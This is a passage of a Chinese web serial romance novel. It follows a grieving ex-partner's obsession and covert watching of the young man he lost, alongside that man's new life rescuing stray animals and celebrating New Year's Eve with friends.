现在的贺越邱,从天之骄子,变成了感情里患得患失的下位者。甄甄是他的软肋,他的禁区,他的弱点,不能提、不能碰,动一下就会伤得粉身碎骨。 一味地痛苦和放纵算什么惩罚呢,方寸行觉得这样不够,他更希望贺越邱就像个正常人一样,按部就班地生活、工作……日复一日地过完人生的每一天。 连发泄的途径都彻底剥夺,让伤口在无人的角落里慢慢溃烂成脓,一天烂过一天。 他就拖着这么一具行尸走肉的躯壳,苟延残喘活完这一辈子吧。 第63章 第 63 章 夜深忽梦少年事。 贺越邱没有选择。 方寸行走后, 他叫来钟点工,把房子里里外外都打扫了一遍,恢复原本的干净整洁。 他洗了个澡, 刮了胡子, 把浸透了烟味酒味的衣服全都扔掉。但照镜子时, 无论外形看上去多么正常, 那双爬满红血丝的眼球和眼底的青黑都诚实地出卖了身体主人的真实状况。 第二天, 贺越邱按以往的时间规划,早早起床洗漱,又去厨房给自己做早餐。但不知不觉地端上餐桌后,才发现是两个人份的。 ‘喝点牛奶, 你不是闹着想再长高一点吗?’ ‘你知不知道人类每多喝一杯牛奶, 就会有一只小牛失去母乳!’ ‘……那喝点燕窝。’ ‘不喝不喝, 燕窝的营养价值早就被辟谣了, 就是燕子的口水分泌物,好恶心。’ ‘甄瓦瓦,我第三次诚恳地请你喝下这杯鲜榨橙汁, 如果你再找各种各样的奇怪理由拒绝并且还要影响我的食欲,我就喂你喝其他东西了。’ 少年皱着眉, 在威逼利诱下不甘不愿地抿了几口,一个劲喊酸,贺越邱下意识地把手边的焦糖布丁喂过去, 哄道:“那就吃点甜的……” 话音未落, 面前只有一堵白墙。 他动作一顿,像是突然从某种幻想中惊醒般,表情空白茫然了片刻。 他似乎在等待,但一会儿, 又低下头,若无其事地把那块没有喂出去的布丁松进嘴里,味同嚼蜡地吃完了这顿早饭。 随后便换鞋出门,开车上路,在一次又一次地绿灯亮起后驶过熟悉的十字路口,抵达公司,在众人惊讶又隐隐带着探究的目光中重新回到阔别已久的岗位。 没有任何解释,身居高位的人不需要,也没人敢来多嘴多舌的问,但所有人都知道他们头顶上这位呼风唤雨的贺总身上发生了很大的变化。 他的能力依旧很出众,即便脱岗十几天也没对公司造成任何损失和负面影响,一回来又是雷霆万钧。每次露面,也是西装革履,风度不凡,威严自露,看不出有一丝一毫的弱势。 但他又的的确确越来越沉默,眼皮总是阴郁地往下压着,藏住那双棕色的、晦暗莫深的瞳孔,散发出一种由内而外的阴鸷气质,令人退避三舍。 整个公司里也就生活助理最清楚老板身上发生了什么,但他哪里敢说,大着胆子也劝过几次,往往才刚开口,就被那秋风扫落叶般的眼神吓得不敢再说。 ——何止是外人,贺越邱自己心里都清楚他如今的变化,他大概比以前更不受欢迎了吧。 但他能够压抑住内心巨大的痛楚伪装成这副正常人的样子已经用尽了所有力气,实在没有更多的精力再去控制眼神里流露出的哀默心死。 方寸行不允许他再用酒精麻痹自己,贺越邱连最后仅剩的放任的资格都不再有了,他被惩罚必须清醒地痛苦着。 也因此,当他性/瘾发作而又得不到抒解时,那种渴望拥抱一个温热的人、渴望进入一个只属于自己的秘境的欲望,便彻底化作熊熊大火,透过他的血管烧向他的四肢百骸,令他痛不欲生。 贺越邱尝试过无数办法试图压下这股要把他的魂魄都烧成灰烬的可怕欲望,他在北京入冬的季节里冲进浴室浸泡冷水澡,吃下一把又一把的安眠药,可这些都只能管得了一时片刻。他身体上缺失情/欲的痛苦暂时被压制了,可他内心对亲密关系的需求永远也得不到满足。 那种瘾病越是强制性地压制,下一次发作起来后就更急迫也更猛烈,把外人看来冷漠阴沉的贺总变成了一个仿佛只知交/配毫无理智的野兽。 他发了疯地想要甄甄,在宽阔冰冷的客厅冰冷的地板上挣扎发狂,抓住自己的衣领,双目是几近疯狂的赤红,脖颈爆出一条条青筋,连太阳穴都在突突跳动,一声又一声粗犷又急促地喘着气,像一个病入膏肓苟延残喘的临终病人那样,想笑挤不出笑,想哭更是哭不出来,所有的情绪堆积在胸腔里,憋屈压抑得他快要疯了。他像哑巴一样无声地大叫着,一声又一声喊着甄甄的名字,即使没有声音,也能够从他扭曲又痛苦的表情里读出那种极端的凄惨和哀嚎。 结束后,往往一身衣服被冷汗湿透,整个人都虚脱般趴在地板上,连爬起来的力气都没有。 这样的折磨以分秒计算,每一次,贺越邱都以为自己好像过了一个世纪那么漫长。但等他有力气去洗漱时,再看时间,其实最多不过几个小时。 但生活就是一分一秒过来的,不是电影电视剧,看到不喜欢的剧情有快进和跳过,所以贺越邱也只能一分一秒地熬过没有甄甄的生活。 他唯一的慰藉,就只剩下甄甄没有带走的东西。而每天一离开那个承载了无数美好回忆,又见证了自己所有不堪的房子,他又必须向所有人表现出正常的样子。 这样的日子对贺越邱而言已经不值得任何期待,他翻过一页日历,等待他的不过是和上一页同样的重复。唯一的区别,大概只剩下两边行道数的叶子又落了多少。 也不知道是哪一天,叶子落光了,树干上光秃秃的,但很快又挂上了很多红灯笼和彩灯,贺越邱才恍惚发觉,快过年了。 他的第一反应是得去置办点年货,最重要的是得买个又大又红、印着当年生肖的红包。甄甄刚跟他在一起时也就刚成年,还是个小孩,不管按哪个地方的规矩,小孩过年就都要有红包。 他们搬家的第一年,甄甄离过年提前一个月就在期待了,他拉着贺越邱一起去商场,买了新衣服,窗花,对联,红包,连菜都买了好多,回家后又指挥他把装饰都挂好。 贺越邱从小就在国外留学,早早习惯了孤家寡人的生活,又身处异国他乡,节假日氛围也不可能很浓厚,这还是他第一次见有人那么期待春节。 兴高采烈地一早爬起来拉着他来包饺子,端着碗眼巴巴地站在烧开水的锅边等着,不用哄也自觉地吃了好几个,把肚子吃撑了又可怜兮兮地喊着贺哥给我揉揉,无聊到他刚看了几分钟就昏昏欲睡的春晚也看得津津有味,主持人倒数时爬到他身上缩成一团,眼睛亮晶晶地说那以后每年过年都要在一起。 大年初一早上起来,摸到枕头底下的红包,高兴地蹦跶下来到处找人,发出小孩子一样兴奋的尖叫声,最后在厨房找到了,从后面把他抱得紧紧的。 刚满十八岁的小男生就像刚满月的小狗,比什么时候都活泼调皮,比谈了几年后更害羞,脸皮薄得不敢叫老公,怎么逗怎么欺负都不叫。还不熟的时候就喊贺先生,确认关系后,就喜欢叫贺哥,声音清脆又嘹亮,在家里走到哪跟到哪,有时候像那种漂亮又爱说话的小鸟扑腾着飞来飞去,有时候又像不是很聪明但很可爱的小胖狗撵着他脚后跟咬拖鞋。 太小了,对什么事都是懵懵懂懂的,完全是被自己半哄半骗搞到手,那一年他都不敢下死手折腾。 贺越邱终于做了一次美梦,梦到了刚和自己在一起时的甄甄,那些遥远却又美好的记忆是那么清晰,仿佛就发生在昨天。 他已经很久没有再见到过这样的甄甄,幸福得在梦中流下一行又一行的眼泪,从抽搐的眼角竖着流进头发里,把枕着的那一部分都完全打湿了。 只是在快要醒的时候,那双总是含着爱意、干净又明亮的小狗眼睛,长长地睫毛眨着眨着,渐渐地就盛满了越来越多的哀伤,不再那么天真懵懂,也不再那么幸福,总是蕴满了眼泪,好像隔着很朦胧的一层水雾,就那么悲伤地、远远地看着他。 贺越邱的心尖上泛起一层又一层细密的酸疼,胸口堵得难受,也跟着无声无觉地流下眼泪。 他一遍遍地替甄甄擦掉脸上的泪水,一味地重复着,“不要哭……宝贝,不要哭了……” 他到底做了什么,才让他的宝贝这么难过。 贺越邱喃喃着梦话,眼皮下是挣扎转动的眼珠,泪水溢得越来越厉害,心口也疼得窒息。 直到闹钟响,他才从梦魇中清醒过来。 他睁着空洞的双眼,脸上湿湿黏黏的,胸口余痛未消。 贺越邱缓了很久,才能勉强坐起来。他本来想去公司,一翻日历,才记起来昨天已经给全体员工都放年假了。 这下贺越邱彻底不知道自己还能够做什么,他站在落地窗前,看着窗外银装素裹中点缀着喜庆色彩的街道,心底的悲凉正在一点一点地扩大。 忙忙碌碌拥挤繁华了一整年的京城偏偏在过年这几天一派萧索,都回老家过年后,这里成了一座实至名归的空城。 贺越邱觉得他的心也空得厉害,哪怕外面冰天雪地的,一出门就朔风扑面,他也不想再待在这个空荡荡的、冷冷清清的房子里了。 他这一刻,特别想见一个人—— 作者有话说:幼甄赏味期[可怜]很好骗又很纯爱很好欺负的小瓦狗一只[可怜] 第64章 第 64 章 一起回家。 年关将至, 往常拥堵的十车道上畅通无阻,贺越邱开着车漫无目的地乱开。 他其实知道甄甄现在住在哪儿,不要说详细地址, 连周围有几户常住的邻居之类更加私密的问题他都一清二楚, 只是他不敢再做布置监控这样僭越雷池的事, 这一两个月以来也从来不敢去打扰。 贺越邱知道他这种过分的掌控欲如果让甄甄知道, 那甄甄看他的眼神只会越来越恐惧, 而每当他看到心爱人的远离和害怕时,又何尝不是同样地痛苦。 可贺越邱根本控制不了自己,这种掌控欲已经像一种诅咒般融进了他的骨血里,无论尝试过多少次都无法摆脱。 甄甄不喜欢他, 不想再见到他, 他可以躲得远远的, 可以克制住自己不去打扰, 却不可以连一点消息都不知道,这种彻底失去控制的感觉让贺越邱比任何时候都更容易狂躁,就像一头被激怒发狂的野兽。 他和这个世界的链接本来就只剩下那一根细细的随时都会被风刮断的风筝线, 只能紧紧地抓住这唯一的牵连,根本就没办法想象在未来的生命中真的会彻彻底底失去甄甄这个可能性。 如果贺越邱昨天晚上没有做那么一个美好的梦, 那他也许还能克制,可他此时此刻想要见到真实的甄甄的念头是那么强烈,他左手握着方向盘, 右手很快地安了一下胸膛, 清楚地听见了里面某种执念正在疯涨的声音。 终于在不知道沿着这条环线开了多少遍后,贺越邱猛地闭了闭眼,打着方向盘开往城郊,一半安慰、一半告诫地在心里反复重复道:我只远远地看一眼……就一眼。 下一秒, 他的车开出了能在城区开到的最高时速,一路忐忑又兴奋,恨不得能插上两根翅膀,飞着去见那个太久不见、朝思暮念的人。 然而真正到地方后,贺越邱眺望着那个被重新刷成蓝色的木门,远远地就降下速度,以一种最不引人注意的方式,缓缓滑进了这条小道,停在距离甄甄院子十多米的斜对面。 车停稳后,贺越邱并没有下去,他借着车窗的遮挡,急切地朝小院望去,却在触及到紧闭的院门和那把大锁时又难掩失望地垂下眼睫。 他的心脏现在都还在跳,手心也因为攥方向盘太紧而捂出一手汗,来这一路上哪怕知道不会被任何人发现,他也有一种做贼心虚的慌张。 但现在小偷来了,最值钱的珠宝却不翼而飞。 贺越邱觉得也许是老天爷都在惩罚他,不让他顺心如愿。 而甄甄此时正和贺过岭在超市置办年货。 就这么巧合,都来给家里的宠物囤粮,两个推车不经意间撞到一块儿,异口同声的两句“不好意思”在看清楚对方脸的那一刻吞下最后一个字。 “甄甄?” “贺医生。” 打完招呼后,自然而然地就并排在一起,边聊边在货架上挑挑拣拣了。 最后结账的时候甄甄大包小包,贺过岭就买了几个罐头,扫过男孩被塑料袋勒得发青的手指时轻轻一笑,伸手道:“我来吧。” 甄甄不扭捏,分给他一半,顿时轻松多了,赶忙动动被勒痛的手指:“我发誓,我真没想着要买这么多,但是这个打折,那个买一送二,我实在没忍住……” 贺过岭勾着唇角:“人之常情。你都买了些什么?” “快过年了,都是些对联啊砂糖橘之类的年货,哦我还给家里的小猫小狗都买了红包,大年初一给它们包满满一包冻干!” 甄甄一提到对过年的期待和家里的宠物就滔滔不绝,贺过岭插不上嘴,就笑着听他说,不知不觉也被感染:“这样说,我也要给珍珍买一个红包了。” 甄甄马上就开始翻袋子,找出来两个小狗图案的红包后又拆了一袋牛肉冻干,塞到其中一个红包里,本来想直接递过去,不过看到贺过岭两只手都拎得满满当当后,就塞进了他的羽绒服口袋里。 贺过岭看着他忙来忙去很有趣:“你在做什么?” 甄甄特别认真地说:“给小狗医生过年红包啊,你要记得帮我给到,不能中饱私囊。” 贺过岭闷笑道:“医院明文规定,医生不允许收红包。” 甄甄苦手:“小狗医生也得按规章制度办事吗?” “要的。” “好吧,那就当专家挂号费了,这个它能收吗?” “能。” “那你到时候帮我谢谢小狗医生!” 说着话他们就到了电梯,甄甄要打车回去,贺过岭提议道:“这两天都下雪,天冷,现在快过年了,网约车又不好打,你家住哪儿,我送你吧。” 甄甄对医生的忙碌程度有所而言:“会不会太麻烦你了?我怕你开车送我送到一半,医院突然一个电话,你就马上又要变成拯救生命的白衣天使了。” 贺过岭笑笑:“不会,医生也要放年假。” “那谢谢贺医生了。” 上车后,甄甄给贺过岭报了地址,快到时他往路边随便瞥了一眼,马上就让贺过岭停车。 贺过岭跟着一起下车,绕过车前盖后顺着甄甄跑去的方向一看,不用问也知道他这么急匆匆地喊停是要做什么了。 他不紧不慢地跟在后面,看甄甄熟练地拿出手机调到录像模式,一手举着手机,一手拎起花坛里一只瑟瑟发抖的黑色小土狗,喊着“好冷好冷”又冲回有暖气的车上。 贺过岭也坐回主驾驶,打燃了油门继续往目的地开,始终有一分余光透过驾驶镜注意着后排的甄甄,看他刚刚那会儿功夫冻得耳朵都红了,呼吸一直有雾气,却一点不怕冷似的,也不怕脏,掀开穿得厚厚的羽绒服,就把那只冻得连叫声都快没了的小狗往自己肚子里塞。 就那一下,甄甄的表情都被冰得有点扭曲,不过还是虚虚地抱住肚子,免得身体僵硬的小狗从衣缝里掉出来。 因为车里暖气开得足,加上人体表的温度,小狗很快就缓了过来,嘤嘤的叫声透过厚厚的羽绒服有些沉闷,有点害怕地在里面爬来爬去。 爬到胸口处,忽然停下来,张口咬下去,吧唧吧唧地吸起来,羽绒服下还能看到两只前爪鼓起的小包在随着节奏动啊动。 一下就不害怕了。 后视镜里,少年那张漂亮脸蛋上的五官也变得有些凝固。 贺过岭心里门清,但憋着笑没敢说,过了几分钟还是没忍住,噗嗤一声,抖着肩膀,低低地笑了好半天。 甄甄浑身僵硬,像卡顿的橡皮泥动画人物一样,慢慢抬起头看向驾驶座,一个字一个字往外蹦:“你,笑,什,么。” “咳咳,我没——噗哈哈哈哈哈——咳咳。” “我,看,到,你,笑,了。” “咳,我有内置行车记录仪,刚刚那段你要不发网上,应该能爆百万赞吧?” “贺,医,生。” 甄甄幽幽地注视着他。 贺过岭立刻正色,赶紧转移话题:“你家到了。” 甄甄这才收回那略显哀怨的目光,想把在自己衣服里作乱的小色狗抓出来,但他因为太瘦了身体不好,要比普通人更怕冷,穿得里三层外三层的,一时半会儿根本就不好处理。 无奈,只能把它先赶到肚子附近,一只手托着,一只手去提买的年货。 贺过岭看他行动不方便,下车后先扶着他一点点挪到地上,才又去后备箱拎大包小包。 身量纤细的少年唯独腹部微微鼓起一个小包,还小心地用手托着,神色间尽是一片柔和和怜惜。 旁边高大的男人手里拎满东西,还能抽出空来护着身边人踩过冻上冰的路,时不时低头侧耳,好像在嘱咐些什么。 温馨又常见的一幕,像极了每一对刚产检回家的新婚夫妇。 如果这少年不是甄甄,那男人不是贺过岭的话,贺越邱会羡慕又祝福地目送他们离开。 可偏偏这两个人,一个是他最爱又最愧疚的人,一个是他从小厌恶到大的一个人。 那种亲昵得仿佛插不进第三个人的氛围,嫉妒得贺越邱表情几近扭曲。 哪怕他在酸得要发疯的情况下脑子也很清楚,知道甄甄是个货真价实不可能怀孕的男人,知道他跟贺过岭实际上保持着正常的社交距离,可仍旧不妨碍他心底涌起滔天怒火,叫嚣着想杀了贺过岭。 最虚伪的人脸上却带着几分真切的笑容,那就更令人作呕,也更令人不忿,他凭什么离甄甄那么近,凭什么能跟着甄甄进院子?! 那把锁—— 他在冷风里等了整整一中午,一直挂在院门上的金澄澄大锁,贺过岭一出现,居然就被打开了! 贺越邱抓着方向盘的十指用力到发白变形,发出令人毛骨悚然的刺耳的咯吱咯吱声,他紧紧盯着那两人的一举一动,眼睛里射出两股如有实质的怒火,灼烈到几乎要把还没融化的积雪全部化成雪水。 他们为什么会在一起?他们去干了什么?他们进院子里想做什么? 无数问题如天外来物般刺进贺越邱的脑海里,令他头痛难堪,不自觉地又回忆起那天在方寸行家里发生的一切。 窄小的卧室,干净整洁的大床,两个互相拥抱亲吻的人,凄厉绝望的惨叫…… 贺越邱痛苦地趴在方向盘上,喘不过气来,这些时日以来每晚都做的噩梦,就这样降临在了现实之中,不仅叫他亲眼目睹,还要让他再一次切切实实地体会到那种生不如死地感觉。 第65章 第 65 章 远远地看一眼。 看着甄甄脚边围着的一圈毛绒绒, 贺过岭不由失笑:“你觉不觉得你特别像童话故事里那些可以和小动物交流的公主?” 甄甄用脚轻轻荡开这些缠人的小家伙,随口应道:“我更想当恶毒女巫,用毒苹果弄死讨厌的人。” 贺过岭大概知道他最想毒谁, 不过这种时候就不要提到那个人的名字来破坏氛围了, 就只是扶着眼镜笑了笑。 跟着甄甄进屋之前他扫了一眼院子, 透明镜片后的眼睛里流露出赞许:“你搬进来还没多久吧, 但收拾得很干净, 养这么多只宠物也没一点味道。” “铲屎和打扫得勤快一点就好了,小猫小狗和人一样,也需要更加干净的生活环境。” 甄甄租的小院是典型的打着适合养老旗号的城郊独门独户小院,实则周围配套不成熟、出行也没那么方便, 买卖不划算, 但只是图地方大、清净的话, 租下来很合适。 院子不大不小, 有二十多个平方,原主人全部做了硬化,只在四周一圈留了花坛, 甄甄就种了一些猫薄荷猫草之类的植物,另外定做了几个很大的猫爬架放在室外。 那只贺过岭请他收养的小白猫正窝在太空舱里揣着前爪呼呼大睡, 一两周没见,透过亚克力板都看到了它挤出来的肚皮肉。 进屋后有暖气,贺过岭刚把大包小包放在玄关, 甄甄就倒好热茶, 站在沙发边招呼他,柯基跟在他身边摇晃肥美的爱心臀:“不忙的话可以多坐会儿。” 贺过岭笑着走过去:“看得出来你对这些小家伙都很用心,它们在你这里过得很好。” 甄甄捧着热茶先喝了一口,把衣服里那只小黑狗拽出来, 放在沙发上。 贺过岭没急着坐,先蹲下来检查了一下:“倒是很健康。外面这么冷,要不是你今天看到把它带回来,估计今晚就会冻死了。” 甄甄叹气:“再多捡几只就要养不下了。” 贺过岭抬起头,语气里有些担忧:“你对这方面挺关注的,那应该看过不少报道,我也接诊过相关病人。有的救助者对救助行为过度狂热,即便根本负担不了,也会不顾现实条件疯狂地往家里捡猫捡狗,哪怕捡回来只能饿死也会不停地重复。这是一种很严重的心理疾病,你如果也有这样的倾向,我建议你尽早就医。” “谢谢你贺医生,不用担心,我心里有数的。我知道做救助要量力而行,这些健康好看的小猫等疫苗打齐就会领养出去,没人要的才会一直留下,而且我也在尝试做宠物自媒体,现在已经有一些起色了。” 贺过岭这才坐回甄甄对面,他给人的感觉向来是如沐春风的,此刻也在用这样温和的目光看着对方。 甄甄再一次升起都是一个爹生的,怎么兄弟俩的差距一个天上一个地下的念头。 今天天气不好,落地窗外阴蒙蒙的,远处的天空布满灰云,时刻酝酿着一场暴雨或大雪,光秃秃的褐色树枝上也都还挂着冰棱,冷得赶路的人缩手缩脚。 只有屋子里才暖和,贺过岭和甄甄闲聊,时间不知不觉过去。 “你现在对镜头还是会产生很大的反应吗?” “不对着我拍的话就还好,可以正常使用手机的拍摄录制功能,但是对相机……暂时没办法克服。” 贺过岭叹息道:“也就是短时间内还是做不了以前的工作。那你现在的工作就是做自媒体?” 甄甄点头,脸上看不出有太多遗憾:“现在这份工作也很好,虽然不像做模特那样风光,收入也降低了不少,但我很喜欢这些小家伙,和它们待在一起,我没有那么害怕,心情低落的时候它们会围着我安慰。而且小猫小狗的脑袋很小,谁对它们好,它们就黏着谁,比人和人之间复杂到头疼的相处简单多了。” 贺过岭知道甄甄是比较需要情绪反馈的一类人,没有什么比动物的感情更直接和简单,否则他住院情况最糟糕的时候,他也不会总带着自己家的小狗去做应激创伤的抚慰。甄甄可能不知道这些相关理论,但他潜意识里的本能在让他想办法自救,作为医生,他也很愿意见到病人渐渐走出阴影。 贺越邱一直等到天快黑。 其实当他看到贺过岭和甄甄一起进屋之后,他就再也坐不住了,打开车门就想冲上去抓个现场,他也不是没这么做过,可当手搭在冰冷的车门把时,甄甄决绝而又悲伤的表情浮现在他脑海,令他迟疑了片刻。 第一次,贺越邱没有再被愤怒支配大脑,没有被嫉妒迷失理智。 甄甄用自己作为代价给了他一次足够深刻的教训,从那之后,每当他又有什么控制不住的想法,他都得先掂量掂量自己能不能承担得起再来一次的后果。 他不怕贺过岭,更不怕方寸行,他如果真的铁了心要把甄甄锁在自己身边,那这世界上大概没有人能阻止他。 可他唯独怕甄甄。 他真的怕。 贺越邱触电般收回手,可他又不甘心,控制不住地想他们进去后会在里面干什么,痛苦得不断砸着方向盘,不小心砸到喇叭后,又惊出一身冷汗,僵直着身体不敢再乱动,憋着一口气盯着那间小院,生怕甄甄听到动静,发现他居然偷偷跑来,又会大生一场气。 他就这么等了好久,浑身凝固的血液才又终于开始缓缓流动。 贺越邱余光看着后视镜里熟悉的那张脸,露出一抹苦涩到极致的笑,他这样多像一条自愿戴了止咬笼的狗,连叫都不敢放开喉咙叫嚷一声,除了压抑着心底沸腾翻滚的怒火以外,再也没有其他办法。 天快黑透的时候,他才看到贺过岭在甄甄的送别下独自上车离开,那一刻他脑子里只剩下一个念头,立刻跟上去,直接撞飞那辆车。 可甄甄—— 他太久没有看到这么生动的,会真正笑、真正动的甄甄了,再不是噩梦里随时会离开的破碎的幻影,只要再往前走几步,一伸手,就能触碰得到。 他舍不得,像守护着珍宝的巨龙,吝啬地窝在金子堆上打盹,怎么都不愿挪动半分。 哪怕因为天冷,他出来没多久就又立刻进屋,只留下一个残影,贺越邱也宝贝地趴在车窗上一直看着,原本被愤怒和嫉妒充斥的心脏此刻也都全化作了一股甜蜜。 如果放在以前谁告诉他,以后你只是这么远远地看上一眼心爱的人就会很满足,贺越邱一定会嗤之以鼻。 但现在,贺越邱深信不疑。 就这么一眼,他就能看出来好多不同,甄甄的头发又长了一点,以前只到肩膀,现在能扎起来一个短短的马尾了;腰细了,一直都没好好吃饭;眼睛看起来最近没有哭过,这真好,他笑着特别好看…… 贺越邱按住自己那颗因为甄甄出现而剧烈鼓动的、因为甄甄离开而又叫嚣不甘的心脏,体会着那甘甜中带着深深酸涩后调的滋味,心中思绪万千。 他再也没办法欺骗自己没有甄甄也能正常生活了,只有在这一刻,在知道自己离甄甄是如此之近的时候,他才能真正地感觉到这具身体重新活了过来,而之前硬撑着的日日夜夜,不过只是一具麻木的行尸走肉罢了。 贺越邱尝到甜头了。 他守着这座小院,期盼着甄甄也许还会再出来。 夜幕降临后灯带亮起,柔和的暖光透过门窗投在铺着一层薄雪的地面,就好像甄甄那双浅色的、总是映着温柔水光的眼眸。 北京的冬夜这么冷,北风裹挟着雪粒噼噼啪啪地打在挡风玻璃上,没多久就在雨刮器上积下一层雪被,但贺越邱却只觉得心脏热烘烘的,比一个人待在全屋地暖的家里还热。 中途,甄甄提着一袋垃圾,又出来过一次,贺越邱的目光紧紧追着他,恨不得刻进自己脑海里。 直到半夜,那座小院的所有光亮“啪”地一声全部灭掉,想着念着的那个人不会再出来了,贺越邱才极度不舍地离开。 他开了两个多小时的车才到家,一推开门,无边无际的黑暗和冰冷一起袭来,在一瞬间就淹没了那具高大的身体。 后面几天,贺越邱每天都会偷偷开车到城郊小院去看甄甄。他怕被认出来,做贼似的戴着口罩,每次都换不同的车和车牌,找不同的位置停车,装作路过暂停的车辆,和小院保持着二十米以上的安全距离。 甄甄很少会出门,除了扔垃圾取快递,就是隔几天去买一次菜,时间也很不固定。贺越邱一守就是一天,有时候运气好,能多看上几眼,有时候运气不好,一整天那扇院门都不会打开。 天气好的时候,甄甄会出来扫雪。他怕冷,穿得严严实实的,围着长长的围巾,只露出一双水灵灵的小狗眼睛,看着特别显小。 干了没一会儿耳朵和脸颊就冻得通红,围巾下的鼻子也冒着热气,等扫完后,就用那些雪堆了好几个雪人雪猫雪狗。 甄甄转身回屋后,贺越邱就特稀奇地拿出手机,拍了好多张那些雪人,挑出最可爱的一张当做屏保。 离开前他找了附近的环卫工人,加钱让他们扫雪时帮忙把甄甄院子附近的雪扫得勤快点。 甄甄没察觉出什么不对,他只是每次出门的时候发现门口那截小路要好走一些了,不用再在雪里深一脚浅一脚的,也不会因为雪堆太多化水后结成冰溜子,一踩上去就打滑。 时间一晃而过,除夕快到了。 第66章 第 66 章 除夕 这还是甄甄来北京后第一次一个人过年, 他这段时间忙于照顾捡来的流浪猫狗和拍视频剪视频,已经很少有时间再想起贺越邱,今天早上起床摸手机看时间才恍然发觉已经是除夕了, 坐在床上怔愣了好久。 一晃他在北京待了快五年了。 而过去四年加在一块流的眼泪都没有这最近这半年多, 他遇到了太多事, 尝试过做模特, 认识了很多新朋友, 也放弃了一段四年的感情,离开了一个会消耗自己的人…… 想起不久前发生的那些事,到现在甄甄都还觉得像是一场不真实的噩梦,他偶尔还是会哭泣着从梦魇里醒来, 一摸脸上和枕头, 到处都是泪水。 但清醒之后, 甄甄知道, 他已经摆脱了那些困扰自己的人和事,他现在有新的生活方式,新的工作, 一切都在向新的方向发展。 被窝里几个小拱包随着他的动作都跟着动了动,没一会儿就从里面接连钻出几只花色各异的大猫小猫, 纷纷抖动着皮毛和耳朵,发出那种抖动时治愈的声音。 前爪往前伸直,后腿高高翘起, 下一秒又朝前抻直, 狠狠地伸了个懒腰后,全都凑到甄甄身边拿毛茸茸的脑袋蹭蹭他,把气味留在他身上。 甄甄被一圈毛绒绒蹭得回过神,挨个都撸了一把, 才掀开被子,把窗帘拉开,双手握拳也伸了个懒腰。 下了一晚的雪这时候停了,城郊没那么多高楼大厦,往外是比较开阔的视野,连带着院里到处都是银装素裹,堆得蓬松的新雪反射着阳光,散发出略有些刺眼的散光。 甄甄挺开心地感叹道:“天气真好。” 他心情也好,刚刚想到贺越邱时情绪也没有太大波动,顶多想到以前都是和对方一起过年,温馨又热闹,而现在只有自己一个人,确实有点儿冷冷清清。 但他并不消沉,太阳这么好,又是除夕,他还有很多事儿要干呢。 甄甄很快洗漱完,挽起毛衣袖子先把房间里里外外都打扫得干干净净,然后从上次贺过岭拎回来的那堆大包小包里翻出窗花和对联,搬着小板凳踩上去小心贴完,下来一看发现都有点歪,又撕掉重新贴,忙活了大半天才把这些装饰物贴得整整齐齐。 柯基和小猫们看到客厅的落地窗上贴着那些红纸后还以为是玩具,挥着爪子试图抓来玩,又彼此滚在一块儿打闹。 甄甄蹲在一边看得津津有味,等它们打完才又起身去厨房忙活,小狗小猫都赶紧跟上去,缠着挡着连下脚都不好下,这种时候他一点都不觉得一个人过年太冷清了——人虽然只有一个,猫狗有很多啊!一堆萌态可掬的小家伙们互相追逐玩闹,不要更热闹了! 为了让家里更热闹一点,甄甄等它们吃饱喝足,拿出喜庆的红色小棉袄挨个穿上,不适应的小猫们这下连路都不会走了,像喝醉酒一样走得东倒西歪,就连一脸高冷美女气质的三花猫都难逃魔爪,穿着红棉袄肚皮朝天生无可恋地躺着。 甄甄觉得可爱,趁新鲜拍了个视频,赶着剪完了发到账号上,就赶紧帮它们把衣服脱下来。 下午空闲时间多,他给比较熟悉的朋友和同学都发了新年祝福。戴维秒回,他正在广东老家拜祠堂;白导除夕都还坚守在工作岗位上,抽空关心了他的恢复情况;阿曼达和琳达这些本地土著都放年假了在家里陪父母,阿曼达还邀请他去自己家过年…… 给甄甄发来问候的人也不少,哪怕是群发,他也都认认真真地编辑信息回了。短信他也翻了一遍,基本就是各大银行和通讯公司发的,一条不起眼的像诈骗电话的“新年快乐”淹没在汪洋大海里。 天快黑时,柯基忽然蹦跶着冲到院子里,对着门口轻轻叫了几声,甄甄披上外套打开院门一看,居然是提着新年礼盒的方寸行。 他提了提眼镜,客客气气地说:“不请自来,希望你不要生气。” 甄甄有点惊讶:“你不回老家过年吗?” “回去也是催婚,不想回。我记得你是一个人过年,不介意我来多凑一双筷子吧?” 甄甄想说挺介意的,不过看在姓方的一直在帮他忙的份上,这次就算了吧! 但他先打了个预防针:“我做饭也就是勉强凑合,你要是想吃一顿丰盛的年夜饭,那我可不行。” 方寸行低头看着甄甄,一向冷厉的眉眼难得这么柔和:“我可以做。” 甄甄本来还想说不然就点外卖,一听他这么说,立马就把年夜饭的重任扔给了他,自己则躲进沙发上珊瑚绒的厚被里,伴随着厨房里做饭的动静,边看春晚边抢红包,时不时还撸一手趴在他胸口的小猫。 晚上九点多的时候,方寸行做完最后一道糖醋鱼,端上桌后喊甄甄来吃饭。 他刚答应马上就来,柯基又屁颠屁颠地冲到院子里,迎来了第二批意想不到的客人:阿曼达和白芳。 见到她们,甄甄明显要更惊喜一些:“你们怎么也来了?” “‘也’?除了我们还有谁啊~”阿曼达笑得促狭。 “呃……” “我。” 两道声音同时响起,这下不只是白芳和阿曼达,连甄甄都一起看向声音来源。 阿曼达不可置信道:“老板?!你怎么会在这儿?” 方寸行在有暖气的房间里只穿了黑色高领毛衣,系着围裙,抱着手靠在厨房门边,淡淡道:“前司老板除夕夜慰问失业下岗员工,接地气做年夜饭暖人心。” 阿曼达马上说:“我也响应公司号召,关爱孤寡美丽青年!” 白芳冲两人一人翻了个白眼,正儿八经地解释道:“我刚下班,本来也是一个人,想着干脆来找你过个年,还热闹点。” 甄甄又看向阿曼达,她爽朗一笑:“我家吃饭早,陪爸妈吃完了,他们守在家里看春晚,我觉得无聊,正好收到你的拜年短信,想到你是一个人,我就打算过来陪你跨年。” 甄甄既高兴,又狐疑:“你俩商量好的?” 白芳:“还真没,路上刚好碰到。” 阿曼达等不及了,一手拉一个,都拉到餐桌旁坐下:“来来来,吃年夜饭,我还没尝过方总的手艺呢!” 眨眼间身边就多出三个人,哪怕方寸行不怎么说话,但有白芳和阿曼达两个能聊的,一顿饭也吃得热热闹闹,客厅里还放着春晚的节目当背景音乐,真有过年那气氛了。 甄甄吃到一半,鼻尖就有点泛酸,他眨着眼睛,把那点湿润憋回去,今天除夕,是过年,不能吃眼泪拌饭。 